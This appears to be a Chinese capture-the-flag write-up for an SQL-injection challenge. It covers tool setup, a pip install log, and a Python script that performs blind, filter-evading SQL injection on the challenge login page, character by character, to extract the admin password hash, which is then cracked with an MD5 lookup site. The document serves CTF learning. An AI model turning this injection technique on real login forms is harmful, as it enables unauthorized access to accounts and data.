

题目：

Challenge

679 Solves

×

sql注入2
200

<http://123.206.87.240:8007/web2/>

全都tm过滤了绝望吗？

提示 !,!=,=,+,-,^,%

Flag

Submit

Sql 注入 2

(1) 安装 python2 环境和 Sublime Text 软件

(2) Sublime Text：添加格式化代码快捷键

From <https://blog.csdn.net/u014115673/article/details/54376744>

一、 添加格式化代码快捷键

首先说，sublime 的格式化代码的功能是在：

Edit - Line - Reindent

但是，sublime 并没有为其配置快捷键。那么我们自己定义一个。

打开：

Sublime Text → Preferences → Key Bindings

打开后会出现一个分割窗口，在右边的窗口输入：

```
[{"keys": ["ctrl+shift+f"], "command": "reindent", "args": {"single_line": false}}]
```

"keys": ["ctrl+shift+f"] 就是定义快捷键的地方。把格式化代码快捷键定义成了 ctrl+shift+f。

(2) python 第三方库 requests 详解

<https://www.cnblogs.com/mrchige/p/6409444.html>

pip install requests

```
管理员: 命令提示符
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\Administrator>path
PATH=C:\Python27\;C:\Python27\Scripts;C:\Windows\system32;C:\Windows;C:\Windows\
System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Java\
jdk1.7.0_09\bin;C:\Program Files\Java\jdk1.7.0_09\jre\bin;

C:\Users\Administrator>pip install requests
Collecting requests
  Downloading https://files.pythonhosted.org/packages/f1/ca/10332a30cb25b627192b
4ea272c351bce3ca1091e541245cccba6051d8/requests-2.20.0-py2.py3-none-any.whl (6
0kB)
    50% |#####| 30kB 487kB/s eta 0:0
    67% |#####| 40kB 327kB/s et
    83% |#####| 51kB 409kB
    100% |#####| 61kB
435kB/s
Collecting certifi>=2017.4.17 (from requests)
  Downloading https://files.pythonhosted.org/packages/56/9d/1d02dd80bc4cd955f989
80f28c5ee2200e1209292d5f9e9cc8d030d18655/certifi-2018.10.15-py2.py3-none-any.whl
(146kB)
    41% |#####| 61kB 990kB/s eta 0:00:0
    48% |#####| 71kB 1.2MB/s eta 0:00
    55% |#####| 81kB 1.3MB/s eta 0:
    62% |#####| 92kB 1.5MB/s eta
    69% |#####| 102kB 939kB/s
    76% |#####| 112kB 812kB/
    83% |#####| 122kB 812k
    90% |#####| 133kB 8
    97% |#####| 143kB
    100% |#####| 153k
B 1.1MB/s
Collecting idna<2.8,>=2.5 (from requests)
  Downloading https://files.pythonhosted.org/packages/4b/2a/0276479a4b3caeb8a8c1
af2f8e4355746a97fab05a372e4a2c6a6b876165/idna-2.7-py2.py3-none-any.whl (58kB)
    52% |#####| 30kB 2.0MB/s eta 0:0
    70% |#####| 40kB 2.7MB/s e
    87% |#####| 51kB 3.4
    100% |#####| 61kB
2.0MB/s
Collecting chardet<3.1.0,>=3.0.2 (from requests)
  Downloading https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b648
7b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl (133
kB)
    38% |#####| 51kB 3.4MB/s eta 0:00:01
    46% |#####| 61kB 4.1MB/s eta 0:00:
    53% |#####| 71kB 1.2MB/s eta 0:
```

本题参考答案

<https://blog.csdn.net/xuchen16/article/details/82967627>

代码如下

注意：md5 码位数为 32 位

```
import requests as rq
flag=""
```

```
url='http://123.206.87.240:8007/web2/login.php'
cookie = {
'PHPSESSID':'sdfsdfsdfsdfhshsrtgsgbxzdfv'
}
for i in range(1,33):
    for j in '0123456789abcdef':
        username="admin'-(ascii(mid(REVERSE(MID((passwd)from(-
"+str(i)+"))from(-1)))="+str(ord(j))+")-'"
        data={'uname':username,'passwd':'password'}
        r=rq.post(url=url,data=data,cookies=cookie)
        if "username error!!@_@" in r.text:
            flag=flag+j
            print(flag)
            break
```

运行 python 如下

```
005b81fd960f6150
005b81fd960f61505
005b81fd960f615052
005b81fd960f6150523
005b81fd960f61505237
005b81fd960f61505237d
005b81fd960f61505237db
005b81fd960f61505237dbb
005b81fd960f61505237dbb7
005b81fd960f61505237dbb7a
005b81fd960f61505237dbb7a3
005b81fd960f61505237dbb7a32
005b81fd960f61505237dbb7a320
005b81fd960f61505237dbb7a3202
005b81fd960f61505237dbb7a32029
005b81fd960f61505237dbb7a320291
005b81fd960f61505237dbb7a3202910
[Finished in 27.6s]
```

(3)MD5 解密

<https://www.somd5.com/>

